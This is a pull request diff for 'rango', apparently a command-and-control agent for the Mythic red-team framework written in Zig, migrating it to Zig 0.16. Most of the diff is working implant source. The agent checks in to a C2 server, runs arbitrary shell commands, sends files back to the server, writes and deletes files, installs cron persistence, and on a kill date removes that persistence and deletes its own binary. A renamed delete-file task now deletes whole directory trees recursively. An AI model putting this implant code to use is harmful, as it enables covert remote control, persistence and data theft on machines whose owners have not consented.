Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 5 additions & 5 deletions Payload_Type/rango/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -29,11 +29,11 @@ RUN wget https://github.com/pop-ecx/ZYRA/releases/download/v0.1.0/zyra-im -O zyr
chmod +x zyra-im && \
mv zyra-im /usr/local/bin/zyra-im

RUN wget -q https://ziglang.org/download/0.15.1/zig-x86_64-linux-0.15.1.tar.xz && \
tar -xf zig-x86_64-linux-0.15.1.tar.xz && \
mv zig-x86_64-linux-0.15.1 /usr/local/zig-0.15.1 && \
ln -s /usr/local/zig-0.15.1/zig /usr/local/bin/zig && \
rm zig-x86_64-linux-0.15.1.tar.xz
RUN wget -q https://ziglang.org/download/0.16.0/zig-x86_64-linux-0.16.0.tar.xz && \
tar -xf zig-x86_64-linux-0.16.0.tar.xz && \
mv zig-x86_64-linux-0.16.0 /usr/local/zig-0.16.0 && \
ln -s /usr/local/zig-0.16.0/zig /usr/local/bin/zig && \
rm zig-x86_64-linux-0.16.0.tar.xz

COPY requirements.txt /
RUN pip3 install -r /requirements.txt
Expand Down
2 changes: 1 addition & 1 deletion Payload_Type/rango/rango/agent_code/build.zig.zon
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@

// Tracks the earliest Zig version that the package considers to be a
// supported use case.
.minimum_zig_version = "0.15.1",
.minimum_zig_version = "0.16.0",

// This field is optional.
// Each dependency must either provide a `url` and `hash`, or a `path`.
Expand Down
61 changes: 32 additions & 29 deletions Payload_Type/rango/rango/agent_code/src/agent.zig
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ const config = @import("config.zig");
const print = std.debug.print;
//const ArrayList = std.ArrayList;
const Allocator = std.mem.Allocator;
const Io = std.Io;
const json = std.json;
const time = std.time;

Expand All @@ -27,6 +28,7 @@ pub const MythicAgent = struct {
const Self = @This();

allocator: Allocator,
io: Io,
config: AgentConfig,
uuid: []const u8,
session_id: []const u8,
Expand All @@ -38,32 +40,33 @@ pub const MythicAgent = struct {
aes_key: [32]u8, //For future use watch this space
payload_uuid: []const u8,

tasks: std.ArrayListUnmanaged(MythicTask),
pending_responses: std.ArrayListUnmanaged(MythicResponse),
tasks: std.ArrayList(MythicTask),
pending_responses: std.ArrayList(MythicResponse),
is_running: bool,
last_checkin: i64,
last_checkin: Io.Timestamp,

pub fn init(allocator: Allocator, agent_config: types.AgentConfig) !Self {
pub fn init(allocator: Allocator, agent_config: types.AgentConfig, io: Io, environ_map: *std.process.Environ.Map) !Self {
var crypto_utils = CryptoUtils.init(allocator);

const session_id = try crypto_utils.generateSessionId(); //session_id might be useful later. Not implemented yet
const aes_key = CryptoUtils.generateAESKey();
const session_id = try crypto_utils.generateSessionId(io); //session_id might be useful later. Not implemented yet
const aes_key = CryptoUtils.generateAESKey(io);

return Self{
.allocator = allocator,
.io = io,
.config = agent_config,
.uuid = config.uuid,
.session_id = session_id,
.network_client = NetworkClient.init(allocator, agent_config),
.command_executor = CommandExecutor.init(allocator),
.system_info = SystemInfo.init(allocator),
.network_client = NetworkClient.init(allocator, agent_config, io),
.command_executor = CommandExecutor.init(allocator, io),
.system_info = SystemInfo.init(allocator, io, environ_map),
.crypto_utils = crypto_utils,
.aes_key = aes_key,
.payload_uuid = config.payload_uuid,
.tasks = std.ArrayListUnmanaged(MythicTask){},
.pending_responses = std.ArrayList(MythicResponse){},
.tasks = std.ArrayList(MythicTask).empty,
.pending_responses = std.ArrayList(MythicResponse).empty,
.is_running = false,
.last_checkin = 0,
.last_checkin = Io.Timestamp{ .nanoseconds = 0 },
};
}

Expand All @@ -79,7 +82,7 @@ pub const MythicAgent = struct {

try self.checkin();
// Install persistence after first check-in
const exepath = try std.fs.selfExePathAlloc(self.allocator);
const exepath = try std.process.executablePathAlloc(self.io, self.allocator);
defer self.allocator.free(exepath);

//There is a bug where if you use zyra, the path is different from where
Expand All @@ -97,15 +100,15 @@ pub const MythicAgent = struct {
} else {
// Here is where we should check if a cron job exists for this exepath
// If it doesn't, we install one
const cron_exists = try PersistUtils.get_cron_entries(self.allocator);
const cron_exists = try PersistUtils.get_cron_entries(self.allocator, self.io);
if (cron_exists == null or cron_exists.?.len == 0) {
PersistUtils.install_cron(exepath, self.allocator) catch |err| {
PersistUtils.install_cron(exepath, self.allocator, self.io) catch |err| {
std.debug.print("{}", .{err});
};
} else {
const cron_path = cron_exists.?;
if (!std.mem.eql(u8, cron_path, exepath)) {
PersistUtils.update_cron_entry(cron_path, exepath, self.allocator) catch |err| {
PersistUtils.update_cron_entry(cron_path, exepath, self.allocator, self.io) catch |err| {
std.debug.print("{}", .{err});
};
} else {
Expand All @@ -115,16 +118,16 @@ pub const MythicAgent = struct {
}
while (self.is_running) {
if (self.config.kill_date) |kill_date| {
if (TimeUtils.isKillDateReached(kill_date)) {
if (TimeUtils.isKillDateReached(kill_date, self.io)) {
//we'll try to make the binary remove persistence and self delete
const exe_path = try std.fs.selfExePathAlloc(self.allocator);
const exe_path = try std.process.executablePathAlloc(self.io, self.allocator);
defer self.allocator.free(exe_path);

PersistUtils.remove_cron_entry(exe_path, self.allocator) catch |err| {
PersistUtils.remove_cron_entry(exe_path, self.allocator, self.io) catch |err| {
print("{}", .{err});
};

std.fs.deleteFileAbsolute(exe_path) catch |err| {
std.Io.Dir.deleteFileAbsolute(self.io, exe_path) catch |err| {
print("{}", .{err});
};
std.process.exit(0);
Expand All @@ -141,7 +144,7 @@ pub const MythicAgent = struct {
print("{}", .{err});
};

self.sleep();
try self.sleep();
}
}

Expand Down Expand Up @@ -182,7 +185,7 @@ pub const MythicAgent = struct {
const json_bytes = try json_writer.toOwnedSlice();
defer self.allocator.free(json_bytes);

var combined = std.ArrayList(u8){};
var combined = std.ArrayList(u8).empty;
defer combined.deinit(self.allocator);
try combined.appendSlice(self.allocator, self.payload_uuid);
try combined.appendSlice(self.allocator, json_bytes);
Expand Down Expand Up @@ -222,7 +225,7 @@ pub const MythicAgent = struct {
return error.InvalidResponse;
}

self.last_checkin = TimeUtils.getCurrentTimestamp();
self.last_checkin = TimeUtils.getCurrentTimestamp(self.io);
}

fn getTasks(self: *Self) !void {
Expand All @@ -239,7 +242,7 @@ pub const MythicAgent = struct {
const json_bytes = try json_writer.toOwnedSlice();
defer self.allocator.free(json_bytes);

var combined = std.ArrayList(u8){};
var combined = std.ArrayList(u8).empty;
defer combined.deinit(self.allocator);

try combined.appendSlice(self.allocator, self.payload_uuid);
Expand Down Expand Up @@ -355,7 +358,7 @@ pub const MythicAgent = struct {
download: ?types.DownloadInfo = null,
};

var responses = std.ArrayList(ResponseObj){};
var responses = std.ArrayList(ResponseObj).empty;
defer responses.deinit(self.allocator);

for (self.pending_responses.items) |response| {
Expand All @@ -380,7 +383,7 @@ pub const MythicAgent = struct {
const json_bytes = try json_writer.toOwnedSlice();
defer self.allocator.free(json_bytes);

var combined = std.ArrayList(u8){};
var combined = std.ArrayList(u8).empty;
defer combined.deinit(self.allocator);

try combined.appendSlice(self.allocator, self.payload_uuid);
Expand All @@ -398,8 +401,8 @@ pub const MythicAgent = struct {
self.pending_responses.clearAndFree(self.allocator);
}

fn sleep(self: *Self) void {
const sleep_time = TimeUtils.calculateJitteredSleep(self.config.sleep_interval, self.config.jitter);
TimeUtils.sleep(sleep_time);
fn sleep(self: *Self) !void {
const sleep_time = TimeUtils.calculateJitteredSleep(self.config.sleep_interval, self.config.jitter, self.io);
try TimeUtils.sleep(self.io, sleep_time);
}
};
38 changes: 20 additions & 18 deletions Payload_Type/rango/rango/agent_code/src/commands.zig
Original file line number Diff line number Diff line change
Expand Up @@ -4,17 +4,20 @@ const types = @import("types.zig");
const json = std.json;
const base64 = std.base64;
const Allocator = std.mem.Allocator;
const Io = std.Io;
const ArrayList = std.ArrayList;

const MythicTask = types.MythicTask;
const MythicResponse = types.MythicResponse;

pub const CommandExecutor = struct {
allocator: Allocator,
io: Io,

pub fn init(allocator: Allocator) CommandExecutor {
pub fn init(allocator: Allocator, io: Io) CommandExecutor {
return CommandExecutor{
.allocator = allocator,
.io = io,
};
}

Expand Down Expand Up @@ -62,8 +65,7 @@ pub const CommandExecutor = struct {
}
const shell_path = if (builtin.os.tag == .windows) "cmd.exe" else "/bin/sh";
const shell_args = if (builtin.os.tag == .windows) "/c" else "-c";
const result = std.process.Child.run(.{
.allocator = self.allocator,
const result = std.process.run(self.allocator, self.io, .{
.argv = &[_][]const u8{ shell_path, shell_args, command },
}) catch |err| {
return MythicResponse{
Expand All @@ -88,7 +90,7 @@ pub const CommandExecutor = struct {
}

fn executePwd(self: *CommandExecutor, task: MythicTask) !MythicResponse {
const cwd = std.process.getCwdAlloc(self.allocator) catch |err| {
const cwd = std.process.currentPathAlloc(self.io, self.allocator) catch |err| {
return MythicResponse{
.task_id = task.id,
.user_output = try std.fmt.allocPrint(self.allocator, "{}", .{err}),
Expand All @@ -115,21 +117,21 @@ pub const CommandExecutor = struct {

const path = parsed.value.path;

var dir = std.fs.cwd().openDir(path, .{ .iterate = true }) catch |err| {
var dir = std.Io.Dir.cwd().openDir(self.io, path, .{ .iterate = true }) catch |err| {
return MythicResponse{
.task_id = task.id,
.user_output = try std.fmt.allocPrint(self.allocator, "{s}: {}", .{ path, err }),
.completed = true,
.status = "error",
};
};
defer dir.close();
defer dir.close(self.io);

var output = ArrayList(u8){};
var output = ArrayList(u8).empty;
defer output.deinit(self.allocator);

var iterator = dir.iterate();
while (try iterator.next()) |entry| {
while (try iterator.next(self.io)) |entry| {
try output.appendSlice(self.allocator, entry.name);
try output.append(self.allocator, '\n');
}
Expand All @@ -152,7 +154,7 @@ pub const CommandExecutor = struct {
};
}

const content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 1024 * 1024) catch |err| {
const content = std.Io.Dir.cwd().readFileAlloc(self.io, task.parameters, self.allocator, .limited(1024 * 1024)) catch |err| {
return MythicResponse{
.task_id = task.id,
.user_output = try std.fmt.allocPrint(self.allocator, "{s}: {}", .{ task.parameters, err }),
Expand All @@ -170,7 +172,7 @@ pub const CommandExecutor = struct {
}

fn executeDownload(self: *CommandExecutor, task: MythicTask) !MythicResponse {
const file_content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 10 * 1024 * 1024) catch |err| {
const file_content = std.Io.Dir.cwd().readFileAlloc(self.io, task.parameters, self.allocator, .limited(10 * 1024 * 1024)) catch |err| {
return MythicResponse{
.task_id = task.id,
.user_output = try std.fmt.allocPrint(self.allocator, "{}", .{err}),
Expand All @@ -191,7 +193,7 @@ pub const CommandExecutor = struct {
.chunk_num = 1,
.chunk_data = encoded_content,
.total_chunks = 1,
.full_path = null,
.full_path = task.parameters,
.chunk_size = encoded_content.len,
.is_screenshot = false,
},
Expand Down Expand Up @@ -226,17 +228,17 @@ pub const CommandExecutor = struct {
};

if (std.mem.eql(u8, remote_path, "/")) {
const file = try std.fs.createFileAbsolute(remote_path, .{});
defer file.close();
const file = try std.Io.Dir.createFileAbsolute(self.io, remote_path, .{});
defer file.close(self.io);
if (std.mem.startsWith(u8, decoded_content, "b'") and std.mem.endsWith(u8, decoded_content, "'")) {
// Remove the b'' prefix if present. Very hacky and hould be improved. Sould write an unescape function later.
const content = decoded_content[2 .. decoded_content.len - 1];
try file.writeAll(content);
try file.writeStreamingAll(self.io, content);
} else {
try file.writeAll(decoded_content);
try file.writeStreamingAll(self.io, decoded_content);
}
} else {
std.fs.cwd().writeFile(.{ .sub_path = remote_path, .data = decoded_content }) catch |err| {
std.Io.Dir.cwd().writeFile(self.io, .{ .sub_path = remote_path, .data = decoded_content }) catch |err| {
return MythicResponse{
.task_id = task.id,
.user_output = try std.fmt.allocPrint(self.allocator, "Failed to write file: {}", .{err}),
Expand Down Expand Up @@ -268,7 +270,7 @@ pub const CommandExecutor = struct {
.status = "error",
};
}
std.fs.deleteFileAbsolute(path) catch |err| {
std.Io.Dir.cwd().deleteTree(self.io, path) catch |err| {
return MythicResponse{
.task_id = task.id,
.user_output = try std.fmt.allocPrint(self.allocator, "Failed to delete file: {}", .{err}),
Expand Down Expand Up @@ -299,7 +301,7 @@ pub const CommandExecutor = struct {
.status = "error",
};
}
std.fs.deleteTreeAbsolute(path) catch |err| {
std.Io.Dir.cwd().deleteTree(self.io, path) catch |err| {
return MythicResponse{
.task_id = task.id,
.user_output = try std.fmt.allocPrint(self.allocator, "Failed to delete directory: {}", .{err}),
Expand Down
8 changes: 4 additions & 4 deletions Payload_Type/rango/rango/agent_code/src/main.zig
Original file line number Diff line number Diff line change
Expand Up @@ -3,18 +3,18 @@ const agent = @import("agent.zig");
const types = @import("types.zig");
const config = @import("config.zig");

const print = std.debug.print;
const MythicAgent = agent.MythicAgent;
const AgentConfig = types.AgentConfig;

pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
pub fn main(init: std.process.Init) !void {
const io = init.io;
var gpa = std.heap.DebugAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();

const agent_config = config.agentConfig;

var mythic_agent = try MythicAgent.init(allocator, agent_config);
var mythic_agent = try MythicAgent.init(allocator, agent_config, io, init.environ_map);
defer mythic_agent.deinit();

try mythic_agent.run();
Expand Down
5 changes: 3 additions & 2 deletions Payload_Type/rango/rango/agent_code/src/network.zig
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ const std = @import("std");
const types = @import("types.zig");
const http = std.http;
const json = std.json;
const Io = std.Io;
const Allocator = std.mem.Allocator;

const AgentConfig = types.AgentConfig;
Expand All @@ -11,11 +12,11 @@ pub const NetworkClient = struct {
config: AgentConfig,
client: http.Client,

pub fn init(allocator: Allocator, config: AgentConfig) NetworkClient {
pub fn init(allocator: Allocator, config: AgentConfig, io: Io) NetworkClient {
return NetworkClient{
.allocator = allocator,
.config = config,
.client = http.Client{ .allocator = allocator },
.client = http.Client{ .allocator = allocator, .io = io },
};
}

Expand Down
Loading
Loading